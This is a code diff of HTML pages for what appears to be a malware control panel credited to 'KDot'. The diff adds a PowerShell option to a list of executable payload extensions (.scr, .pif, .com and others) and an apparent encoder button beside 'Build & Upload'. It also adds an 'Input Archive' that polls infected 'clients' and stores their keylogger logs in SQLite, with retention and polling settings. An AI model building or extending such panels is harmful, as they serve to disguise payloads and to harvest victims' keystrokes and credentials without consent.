75% { transform: translate(2px, -50%) rotate(-8deg); }
}
@keyframes sgnChainPulseB {
0%, 100% { transform: translateY(-50%) rotate(8deg); }
25% { transform: translate(2px, -50%) rotate(8deg); }
75% { transform: translate(-2px, -50%) rotate(8deg); }
}
@keyframes sgnLockIconPulse {
0%, 100% { transform: translate(-50%, -50%) rotate(var(--sgn-lock-tilt)); }
25% { transform: translate(calc(-50% - 2px), -50%) rotate(var(--sgn-lock-tilt)); }
75% { transform: translate(calc(-50% + 2px), -50%) rotate(var(--sgn-lock-tilt)); }
}
</style>
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
@@ -716,6 +879,7 @@
<option value=".scr">.scr — Screen Saver</option>
<option value=".bat">.bat — Batch Script</option>
<option value=".cmd">.cmd — Command Script</option>
<option value=".ps1">.ps1 — PowerShell Script</option>
<option value=".pif">.pif — Program Info File</option>
<option value=".com">.com — MS-DOS Application</option>
</select>
@@ -786,6 +950,34 @@
<span>Build &amp; Upload</span>
</button>
</div>
<div id="build-sgn-txt-lockbox" class="sgn-txt-lockbox locked hidden">
<button type="button" id="build-sgn-txt-btn"
class="w-full flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-fuchsia-600 hover:bg-fuchsia-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
<i class="fa-solid fa-file-lines"></i>
<span>Build SGN TXT</span>
</button>
<div class="sgn-txt-cracks" aria-hidden="true">
<svg viewBox="0 0 100 36" preserveAspectRatio="none">
<path class="crack-main" pathLength="1" d="M50 1 L46 7 L54 13 L48 20 L52 27 L49 35" />
<path class="crack-branch" pathLength="1" d="M46 7 L35 4 L22 9 L10 7" />
<path class="crack-branch" pathLength="1" d="M54 13 L67 9 L82 14 L95 11" />
<path class="crack-branch" pathLength="1" d="M48 20 L34 22 L20 29 L6 31" />
<path class="crack-branch" pathLength="1" d="M51 24 L65 25 L80 31 L98 29" />
<path class="crack-branch" pathLength="1" d="M49 31 L39 34 L30 35" />
<path class="crack-mid" pathLength="1" d="M18 3 L25 10 L21 17 L30 23 L27 34" />
<path class="crack-mid" pathLength="1" d="M79 2 L73 8 L78 16 L70 21 L74 33" />
<path class="crack-mid" pathLength="1" d="M25 10 L13 14 L5 21" />
<path class="crack-mid" pathLength="1" d="M75 18 L88 22 L99 20" />
<path class="crack-late" pathLength="1" d="M7 5 L13 11 L9 18 L16 27 L12 35" />
<path class="crack-late" pathLength="1" d="M94 4 L87 12 L91 18 L84 27 L89 35" />
<path class="crack-late" pathLength="1" d="M38 1 L34 8 L39 14" />
<path class="crack-late" pathLength="1" d="M62 35 L66 28 L61 22" />
</svg>
</div>
<div class="sgn-txt-lock" aria-hidden="true">
<i class="fa-solid fa-lock"></i>
</div>
</div>
</form>
</div>
+1 -1
View File
@@ -1002,6 +1002,6 @@
<input type="file" id="file-input" style="display: none" multiple />
<script type="module" src="/assets/nav.js"></script>
<script type="module" src="/assets/filebrowser.js?v=pinpreviewhex-20260520-3"></script>
<script type="module" src="/assets/filebrowser.js?v=mac-permission-locks-20260609-1"></script>
</body>
</html>
+73 -2
View File
@@ -81,6 +81,7 @@
<a data-target="section-account" class="settings-nav-link" style="--accent: 56 189 248"><i class="fa-solid fa-user w-4 text-sky-400"></i><span>Account</span></a>
<a data-target="section-sessions" class="settings-nav-link" style="--accent: 52 211 153"><i class="fa-solid fa-desktop w-4 text-emerald-400"></i><span>Active Sessions</span></a>
<a data-target="section-prefs" class="settings-nav-link" style="--accent: 167 139 250"><i class="fa-solid fa-sliders w-4 text-violet-400"></i><span>Dashboard Preferences</span></a>
<a data-target="input-archive-section" class="settings-nav-link" style="--accent: 250 204 21"><i class="fa-solid fa-box-archive w-4 text-yellow-400"></i><span>Input Archive</span></a>
<a data-target="telegram-settings" class="settings-nav-link" style="--accent: 52 211 153"><i class="fa-solid fa-bell w-4 text-emerald-400"></i><span>Notification Delivery</span></a>
<a data-target="section-news" class="settings-nav-link" style="--accent: 56 189 248"><i class="fa-brands fa-telegram w-4 text-sky-400"></i><span>News &amp; Updates</span></a>
@@ -96,6 +97,7 @@
<a data-target="chat-settings-section" class="settings-nav-link" data-permission="system:chat" style="--accent: 56 189 248"><i class="fa-solid fa-comments w-4 text-sky-400"></i><span>Team Chat</span></a>
<a data-target="registration-section" class="settings-nav-link" data-permission="system:registration" style="--accent: 52 211 153"><i class="fa-solid fa-user-plus w-4 text-emerald-400"></i><span>Registration</span></a>
<a data-target="thumbnails-section" class="settings-nav-link" data-permission="system:thumbnails" style="--accent: 56 189 248"><i class="fa-solid fa-images w-4 text-sky-400"></i><span>Screenshot Thumbnails</span></a>
<a data-target="input-archive-admin-section" class="settings-nav-link" data-permission="system:input-archive" style="--accent: 250 204 21"><i class="fa-solid fa-database w-4 text-yellow-400"></i><span>Input Archive Admin</span></a>
<a data-target="build-rate-limit-section" class="settings-nav-link" data-permission="system:build-limits" style="--accent: 251 146 60"><i class="fa-solid fa-gauge-high w-4 text-orange-400"></i><span>Build Rate Limit</span></a>
<a data-target="section-appearance" class="settings-nav-link" data-permission="system:appearance" style="--accent: 232 121 249"><i class="fa-solid fa-paintbrush w-4 text-fuchsia-400"></i><span>Custom CSS</span></a>
<a data-target="export-import-section" class="settings-nav-link" data-permission="system:export-import" style="--accent: 251 191 36"><i class="fa-solid fa-file-export w-4 text-amber-400"></i><span>Export / Import</span></a>
@@ -372,6 +374,33 @@
</form>
</section>
<!-- Input Archive -->
<section id="input-archive-section" class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
<div class="flex items-center gap-3">
<div class="flex items-center justify-center w-9 h-9 rounded-lg bg-yellow-500/10 border border-yellow-500/30">
<i class="fa-solid fa-box-archive text-yellow-400"></i>
</div>
<div>
<h2 class="text-lg font-semibold">Input Archive</h2>
<p class="text-sm text-slate-400">Opt in to server-side retrieval for clients you can access.</p>
</div>
</div>
<form id="input-archive-user-form" class="space-y-4">
<label class="flex items-start gap-3 p-3 rounded-lg border border-slate-700/60 bg-slate-900/40 hover:bg-slate-900/70 cursor-pointer transition-colors">
<input id="input-archive-my-enabled" type="checkbox" class="mt-1 h-4 w-4 accent-yellow-500" />
<div>
<div class="text-sm font-medium text-slate-100">Auto retrieve input logs for my accessible clients</div>
<div class="text-xs text-slate-400">When the global archive is enabled, online clients are polled and stored in SQLite so the keylogger page can search archived logs while a client is offline.</div>
</div>
</label>
<button type="submit" class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-yellow-700 hover:bg-yellow-600 transition-colors text-white text-sm font-medium">
<i class="fa-solid fa-floppy-disk"></i>Save Preference
</button>
</form>
</section>
<!-- Notification Delivery -->
<section id="telegram-settings" class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
<div class="flex items-center gap-3">
@@ -411,7 +440,7 @@
<p class="text-xs text-slate-500 mt-1">Channel: <span class="text-slate-400 font-mono">@kunta</span></p>
</div>
<a
href="https://t.me/kunta"
href="https://t.me/KTicketsBot"
target="_blank"
rel="noopener noreferrer"
class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-sky-600 hover:bg-sky-500 transition-colors text-white text-sm font-medium whitespace-nowrap"
@@ -983,6 +1012,48 @@
<p id="thumbnails-msg" class="hidden text-sm rounded-lg px-3 py-2 border"></p>
</section>
<!-- Input Archive Admin -->
<section id="input-archive-admin-section" data-permission="system:input-archive" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
<div class="flex items-center gap-3">
<div class="flex items-center justify-center w-9 h-9 rounded-lg bg-yellow-500/10 border border-yellow-500/30">
<i class="fa-solid fa-database text-yellow-400"></i>
</div>
<div>
<h2 class="text-lg font-semibold">Input Archive Admin</h2>
<p class="text-sm text-slate-400">Admin-only. Control server-side SQLite retention and retrieval limits.</p>
</div>
</div>
<form id="input-archive-admin-form" class="space-y-4">
<label class="flex items-start gap-3 p-3 rounded-lg border border-slate-700/60 bg-slate-900/40 hover:bg-slate-900/70 cursor-pointer transition-colors">
<input id="input-archive-global-enabled" type="checkbox" class="mt-1 h-4 w-4 accent-yellow-500" />
<div>
<div class="text-sm font-medium text-slate-100">Enable global input archive</div>
<div class="text-xs text-slate-400">Per-user opt-ins only take effect while this global switch is enabled.</div>
</div>
</label>
<div class="grid grid-cols-1 sm:grid-cols-3 gap-3">
<label class="block">
<span class="text-sm text-slate-300">Retention (days)</span>
<input id="input-archive-retention-days" type="number" min="1" max="365" step="1" class="mt-1 w-full px-3 py-2 rounded-lg bg-slate-900 border border-slate-700 focus:outline-none focus:ring-2 focus:ring-yellow-500 text-sm" />
</label>
<label class="block">
<span class="text-sm text-slate-300">Max file size (MB)</span>
<input id="input-archive-max-file-mb" type="number" min="1" max="50" step="1" class="mt-1 w-full px-3 py-2 rounded-lg bg-slate-900 border border-slate-700 focus:outline-none focus:ring-2 focus:ring-yellow-500 text-sm" />
</label>
<label class="block">
<span class="text-sm text-slate-300">Poll interval (seconds)</span>
<input id="input-archive-poll-seconds" type="number" min="0" max="86400" step="30" class="mt-1 w-full px-3 py-2 rounded-lg bg-slate-900 border border-slate-700 focus:outline-none focus:ring-2 focus:ring-yellow-500 text-sm" />
</label>
</div>
<button type="submit" class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-yellow-700 hover:bg-yellow-600 transition-colors text-white text-sm font-medium">
<i class="fa-solid fa-floppy-disk"></i>Save Archive Settings
</button>
</form>
</section>
<!-- Build Rate Limit (admin only) -->
<section id="build-rate-limit-section" data-permission="system:build-limits" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
<div class="flex items-center gap-3">
@@ -1314,7 +1385,7 @@
<!-- /flex wrapper -->
<footer class="text-center text-sm text-slate-500 py-4 border-t border-slate-800 mt-4">
<p>Created by KDot &mdash; <a href="https://t.me/kunta" target="_blank" rel="noopener noreferrer" class="text-sky-400 hover:text-sky-300 transition-colors"><i class="fa-brands fa-telegram"></i> t.me/kunta</a></p>
<p>Created by KDot &mdash; <a href="https://t.me/Onimai" target="_blank" rel="noopener noreferrer" class="text-sky-400 hover:text-sky-300 transition-colors"><i class="fa-brands fa-telegram"></i> t.me/Onimai</a></p>
</footer>
</main>